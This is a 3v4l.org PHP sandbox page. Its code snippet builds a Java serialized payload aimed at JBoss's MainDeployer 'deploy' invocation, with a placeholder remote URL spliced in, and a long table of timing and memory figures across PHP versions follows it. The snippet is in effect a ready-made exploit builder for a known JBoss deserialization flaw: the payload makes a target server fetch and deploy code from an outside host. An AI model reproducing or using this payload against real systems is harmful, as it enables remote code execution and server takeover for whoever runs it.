3v4l.org

run code in 300+ PHP versions simultaneously
<?php $url="http://lololololo.lo.lo/l/o.lol"; $url_len=pack("n",strlen($url)); printf("url_len:%s\n\n",pack("n",strlen($url))); $frag_i= "\xac\xed\x00\x05\x73\x72\x00\x29\x6f\x72\x67\x2e\x6a\x62\x6f\x73". "\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d\x61\x72". "\x73\x68\x61\x6c\x6c\x65\x64\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\xf6\x06\x95\x27\x41\x3e\xa4\xbe\x0c\x00\x00\x78\x70\x70\x77". "\x08\x78\x94\x98\x47\xc1\xd0\x53\x87\x73\x72\x00\x11\x6a\x61\x76". "\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2". "\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75". "\x65\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e". "\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00". "\x78\x70\x26\x95\xbe\x0a\x73\x72\x00\x24\x6f\x72\x67\x2e\x6a\x62". "\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x4d". "\x61\x72\x73\x68\x61\x6c\x6c\x65\x64\x56\x61\x6c\x75\x65\xea\xcc". "\xe0\xd1\xf4\x4a\xd0\x99\x0c\x00\x00\x78\x70\x77"; $frag_ii="\x00"; $frag_iii= "\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e". "\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f". "\x10\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x04\x73\x72\x00". "\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e". "\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b". "\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62\x6f\x73". "\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69\x63\x65". "\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78\x74\x00". "\x06\x64\x65\x70\x6c\x6f\x79\x75\x71\x00\x7e\x00\x00\x00\x00\x00". "\x01\x74". $url_len. $url. "\x75\x72\x00". "\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61". "\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d". "\x7b\x47\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x10\x6a\x61". "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67"; $frag_iv= "\x0d\xd3". "\xbe\xc9\x78\x77\x04\x00\x00\x00\x01\x73\x72\x00\x22\x6f\x72\x67". "\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e\x76\x6f\x63\x61\x74\x69\x6f". "\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x4b\x65\x79\xb8". "\xfb\x72\x84\xd7\x93\x85\xf9\x02\x00\x01\x49\x00\x07\x6f\x72\x64". "\x69\x6e\x61\x6c\x78\x70\x00\x00\x00\x05\x73\x71\x00\x7e\x00\x05". "\x77\x0d\x00\x00\x00\x05\xac\xed\x00\x05\x70\xfb\x57\xa7\xaa\x78". "\x77\x04\x00\x00\x00\x03\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x04". "\x73\x72\x00\x23\x6f\x72\x67\x2e\x6a\x62\x6f\x73\x73\x2e\x69\x6e". "\x76\x6f\x63\x61\x74\x69\x6f\x6e\x2e\x49\x6e\x76\x6f\x63\x61\x74". "\x69\x6f\x6e\x54\x79\x70\x65\x59\xa7\x3a\x1c\xa5\x2b\x7c\xbf\x02". "\x00\x01\x49\x00\x07\x6f\x72\x64\x69\x6e\x61\x6c\x78\x70\x00\x00". "\x00\x01\x73\x71\x00\x7e\x00\x07\x00\x00\x00\x0a\x70\x74\x00\x0f". "\x4a\x4d\x58\x5f\x4f\x42\x4a\x45\x43\x54\x5f\x4e\x41\x4d\x45\x73". "\x72\x00\x1b\x6a\x61\x76\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d". "\x65\x6e\x74\x2e\x4f\x62\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03". "\xa7\x1b\xeb\x6d\x15\xcf\x03\x00\x00\x78\x70\x74\x00\x21\x6a\x62". "\x6f\x73\x73\x2e\x73\x79\x73\x74\x65\x6d\x3a\x73\x65\x72\x76\x69". "\x63\x65\x3d\x4d\x61\x69\x6e\x44\x65\x70\x6c\x6f\x79\x65\x72\x78". "\x78"; $data=$frag_i.pack("v",strlen($frag_iii)+8).$frag_ii.pack("n",strlen($frag_iii)).$frag_iii.$frag_iv; printf("frag_iii_v:%s\n\nfrag_iii_n:%s\n\ndata:%s\n\n",pack("v", strlen($frag_iii)+8), pack("n",strlen($frag_iii)), $data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00718.43
8.3.50.0180.00016.24
8.3.40.0070.00718.68
8.3.30.0090.00620.13
8.3.20.0040.00420.34
8.3.10.0080.00021.96
8.3.00.0070.00022.44
8.2.180.0070.01318.16
8.2.170.0090.00622.96
8.2.160.0030.01022.03
8.2.150.0040.00424.18
8.2.140.0030.00624.66
8.2.130.0000.00726.16
8.2.120.0020.00520.75
8.2.110.0070.00319.21
8.2.100.0060.00617.78
8.2.90.0000.00919.22
8.2.80.0040.00419.30
8.2.70.0040.00417.50
8.2.60.0030.00617.93
8.2.50.0050.00318.07
8.2.40.0000.00918.13
8.2.30.0050.00219.45
8.2.20.0050.00317.59
8.2.10.0000.00817.76
8.2.00.0030.00617.86
8.1.270.0080.00023.99
8.1.260.0080.00026.35
8.1.250.0040.00428.09
8.1.240.0030.00722.72
8.1.230.0080.00423.89
8.1.220.0030.00617.89
8.1.210.0050.00318.77
8.1.200.0030.00717.22
8.1.190.0070.00017.51
8.1.180.0000.00818.10
8.1.170.0000.00918.62
8.1.160.0030.00318.83
8.1.150.0020.00518.65
8.1.140.0040.00417.35
8.1.130.0000.00717.75
8.1.120.0040.00417.46
8.1.110.0040.00417.38
8.1.100.0000.00717.38
8.1.90.0070.00017.36
8.1.80.0040.00417.38
8.1.70.0000.00717.45
8.1.60.0030.00617.66
8.1.50.0050.00317.46
8.1.40.0070.00417.50
8.1.30.0040.00417.68
8.1.20.0030.00617.62
8.1.10.0040.00417.46
8.1.00.0000.00817.48
8.0.300.0070.00018.77
8.0.290.0050.00217.05
8.0.280.0000.00718.54
8.0.270.0070.00017.34
8.0.260.0060.00016.85
8.0.250.0070.00016.86
8.0.240.0040.00416.94
8.0.230.0000.00716.82
8.0.220.0080.00016.91
8.0.210.0070.00016.82
8.0.200.0040.00416.97
8.0.190.0000.00717.02
8.0.180.0050.00316.83
8.0.170.0040.00416.93
8.0.160.0000.00716.93
8.0.150.0030.00316.81
8.0.140.0070.00316.91
8.0.130.0000.00613.39
8.0.120.0040.00416.91
8.0.110.0000.00716.94
8.0.100.0040.00416.74
8.0.90.0000.00716.71
8.0.80.0120.00316.90
8.0.70.0000.00716.93
8.0.60.0000.00716.94
8.0.50.0000.00716.94
8.0.30.0050.01416.99
8.0.20.0130.00617.40
8.0.10.0000.00816.79
8.0.00.0060.02116.71
7.4.330.0060.00016.77
7.4.320.0060.00016.46
7.4.300.0000.00616.61
7.4.290.0030.00316.44
7.4.280.0070.00016.50
7.4.270.0030.00616.49
7.4.260.0030.00313.32
7.4.250.0030.00516.41
7.4.240.0050.00216.49
7.4.230.0000.00716.64
7.4.220.0060.01316.53
7.4.210.0070.00816.46
7.4.200.0050.00316.34
7.4.190.0040.00416.36
7.4.160.0030.01316.63
7.4.150.0100.00717.40
7.4.140.0100.00717.86
7.4.130.0100.00916.39
7.4.120.0090.00916.44
7.4.110.0170.00316.38
7.4.100.0060.01016.27
7.4.90.0030.01316.38
7.4.80.0030.01419.39
7.4.70.0070.01016.47
7.4.60.0040.01216.59
7.4.50.0030.00616.45
7.4.40.0070.00722.77
7.4.30.0090.00616.50
7.4.00.0040.01214.73
7.3.330.0000.00513.19
7.3.320.0000.00613.09
7.3.310.0030.00316.42
7.3.300.0050.00216.36
7.3.290.0060.01316.37
7.3.280.0090.00916.36
7.3.270.0060.01017.40
7.3.260.0060.01216.67
7.3.250.0070.01016.36
7.3.240.0060.01116.48
7.3.230.0090.01216.63
7.3.210.0070.01016.39
7.3.200.0150.00619.39
7.3.190.0140.00716.21
7.3.180.0070.01016.31
7.3.170.0080.00816.32
7.3.160.0070.01016.46
7.3.120.0070.00915.13
7.3.110.0100.00715.04
7.3.100.0130.00314.87
7.3.90.0090.00314.80
7.3.80.0080.00414.95
7.3.70.0070.01014.88
7.3.60.0040.00814.77
7.3.50.0070.00714.85
7.3.40.0070.00314.61
7.3.30.0090.00014.66
7.3.20.0030.00616.41
7.3.10.0070.00616.61
7.3.00.0050.00616.49
7.2.330.0120.00616.61
7.2.320.0110.00716.47
7.2.310.0150.00316.73
7.2.300.0090.00916.70
7.2.290.0110.00516.61
7.2.250.0090.00914.96
7.2.240.0170.00315.06
7.2.230.0040.01215.27
7.2.220.0070.00714.98
7.2.210.0030.01014.89
7.2.200.0060.00615.17
7.2.190.0030.01015.04
7.2.180.0030.01215.27
7.2.170.0040.01115.14
7.2.130.0130.00316.41
7.2.120.0030.01016.75
7.2.110.0080.01116.82
7.2.100.0100.00616.86
7.2.90.0030.00716.73
7.2.80.0040.00816.82
7.2.70.0110.00317.02
7.2.60.0100.00716.62
7.2.50.0100.01017.02
7.2.40.0070.00716.80
7.2.30.0130.00716.77
7.2.20.0090.00516.59
7.2.10.0000.01716.70
7.2.00.0050.01118.20
7.1.330.0070.01015.69
7.1.320.0040.01515.77
7.1.310.0070.01015.57
7.1.300.0000.01215.85
7.1.290.0080.00415.96
7.1.280.0030.01315.61
7.1.270.0040.00715.45
7.1.260.0100.00615.95
7.1.250.0040.00715.57
7.1.200.0030.00915.75
7.1.100.0040.00817.84
7.1.70.0130.00017.02
7.1.60.0060.01619.17
7.1.50.0100.01434.73
7.1.00.0130.06722.44
7.0.200.0000.00816.87
7.0.140.0030.07021.97
7.0.100.0070.03021.96
7.0.90.0070.07721.75
7.0.80.0030.07321.73
7.0.70.0000.08321.70
7.0.60.0030.04321.68
7.0.50.0000.08722.06
7.0.40.0070.05720.17
7.0.30.0000.08720.05
7.0.20.0070.07720.17
7.0.10.0030.07720.07
7.0.00.0000.07720.09
5.6.280.0000.07321.03
5.6.250.0030.06320.61
5.6.240.0000.07320.63
5.6.230.0030.07020.60
5.6.220.0070.07320.63
5.6.210.0070.06720.72
5.6.200.0030.04720.98
5.6.190.0030.03720.95
5.6.180.0130.06721.18
5.6.170.0030.08021.06
5.6.160.0000.03721.04
5.6.150.0030.05721.04
5.6.140.0030.03721.04
5.6.130.0070.07721.04
5.6.120.0070.07720.95
5.6.110.0030.07321.04
5.6.100.0000.03721.02
5.6.90.0030.09021.04
5.6.80.0100.07320.33
5.6.70.0030.08020.39
5.6.60.0030.03020.42
5.6.50.0000.05020.41
5.6.40.0100.07020.33
5.6.30.0030.05320.48
5.6.20.0100.06720.41
5.6.10.0030.03720.54
5.6.00.0030.03020.38
5.5.380.0070.07020.38
5.5.370.0030.08020.51
5.5.360.0030.03320.54
5.5.350.0030.03320.43
5.5.340.0070.06720.85
5.5.330.0070.07720.91
5.5.320.0070.07720.84
5.5.310.0070.03020.89
5.5.300.0030.04020.84
5.5.290.0000.09020.77
5.5.280.0070.07020.90
5.5.270.0030.08320.74
5.5.260.0030.07020.77
5.5.250.0000.06320.65
5.5.240.0000.07320.25
5.5.230.0000.09020.16
5.5.220.0030.07720.08
5.5.210.0030.06020.13
5.5.200.0030.04020.23
5.5.190.0000.08320.19
5.5.180.0000.07720.14
5.5.160.0000.08020.09
5.5.150.0000.08020.24
5.5.140.0100.05720.25
5.5.130.0000.07320.26
5.5.120.0100.07720.29
5.5.110.0030.03320.24
5.5.100.0030.06020.09
5.5.90.0000.04020.01
5.5.80.0070.07319.96
5.5.70.0000.08020.08
5.5.60.0000.06720.15
5.5.50.0030.03320.10
5.5.40.0030.05720.04
5.5.30.0030.07720.07
5.5.20.0000.08020.06
5.5.10.0030.03319.93
5.5.00.0070.07020.06
5.4.450.0000.03719.29
5.4.440.0030.07019.36
5.4.430.0000.04719.29
5.4.420.0070.07319.35
5.4.410.0000.04719.27
5.4.400.0000.07318.92
5.4.390.0070.07319.13
5.4.380.0070.07019.05
5.4.370.0030.07318.96
5.4.360.0030.07719.11
5.4.350.0030.07019.23
5.4.340.0030.04019.07
5.4.320.0000.07719.04
5.4.310.0070.05319.05
5.4.300.0000.07718.81
5.4.290.0030.06718.94
5.4.280.0070.07719.22
5.4.270.0000.05018.93
5.4.260.0070.07318.97
5.4.250.0030.06719.04
5.4.240.0000.04719.09
5.4.230.0030.06719.12
5.4.220.0030.03319.04
5.4.210.0030.07319.02
5.4.200.0000.08319.02
5.4.190.0030.06318.77
5.4.180.0000.04718.95
5.4.170.0030.04018.77
5.4.160.0100.07019.00
5.4.150.0000.08018.97
5.4.140.0000.03316.14
5.4.130.0030.05716.27
5.4.120.0000.07016.28
5.4.110.0030.08016.41
5.4.100.0000.07316.33
5.4.90.0030.07316.34
5.4.80.0030.06016.41
5.4.70.0030.05016.25
5.4.60.0030.06716.30
5.4.50.0030.07016.35
5.4.40.0000.04316.40
5.4.30.0000.04016.39
5.4.20.0030.05716.27
5.4.10.0000.07016.20
5.4.00.0000.06015.72
5.3.290.0030.03015.59
5.3.280.0000.07315.59
5.3.270.0030.06315.59
5.3.260.0000.07315.59
5.3.250.0030.07015.59
5.3.240.0000.04315.59
5.3.230.0100.02715.59
5.3.220.0030.05715.59
5.3.210.0100.06715.59
5.3.200.0030.06015.59
5.3.190.0000.08015.59
5.3.180.0000.03315.59
5.3.170.0070.07015.59
5.3.160.0070.03015.59
5.3.150.0030.07315.59
5.3.140.0000.07315.59
5.3.130.0030.03315.59
5.3.120.0030.07715.59
5.3.110.0100.06315.59
5.3.100.0030.07315.59
5.3.90.0000.06015.59
5.3.80.0000.08015.59
5.3.70.0000.06715.59
5.3.60.0100.02315.59
5.3.50.0030.07015.59
5.3.40.0030.06015.59
5.3.30.0000.03315.59
5.3.20.0070.07015.59
5.3.10.0030.03015.59
5.3.00.0000.06015.59
5.2.170.0030.06015.59
5.2.160.0100.05015.59
5.2.150.0030.06015.59
5.2.140.0030.06015.59
5.2.130.0000.02715.59
5.2.120.0000.05715.59
5.2.110.0030.06315.59
5.2.100.0000.02315.59
5.2.90.0030.05015.59
5.2.80.0070.05715.59
5.2.70.0000.05715.59
5.2.60.0000.03715.59
5.2.50.0000.02715.59
5.2.40.0030.05715.59
5.2.30.0070.05015.59
5.2.20.0070.05715.59
5.2.10.0030.02315.59
5.2.00.0030.02315.59
5.1.60.0000.02315.59
5.1.50.0000.05315.59
5.1.40.0000.05715.59
5.1.30.0000.04315.59
5.1.20.0000.04715.59
5.1.10.0000.02315.59
5.1.00.0000.02315.59
5.0.50.0030.02715.59
5.0.40.0000.01715.59
5.0.30.0070.06315.59
5.0.20.0030.04315.59
5.0.10.0000.04315.59
5.0.00.0000.06715.59
4.4.90.0030.03315.59
4.4.80.0000.02715.59
4.4.70.0030.03315.59
4.4.60.0030.03315.59
4.4.50.0000.02715.59
4.4.40.0030.05315.59
4.4.30.0030.03015.59
4.4.20.0000.01315.59
4.4.10.0070.03015.59
4.4.00.0070.04015.59
4.3.110.0030.03715.59
4.3.100.0000.03315.59
4.3.90.0030.02715.59
4.3.80.0030.05015.59
4.3.70.0030.03315.59
4.3.60.0000.01315.59
4.3.50.0070.02715.59
4.3.40.0030.03715.59
4.3.30.0070.03015.59
4.3.20.0000.01315.59
4.3.10.0030.03715.59
4.3.00.0030.03015.59

preferences:
57.36 ms | 400 KiB | 5 Q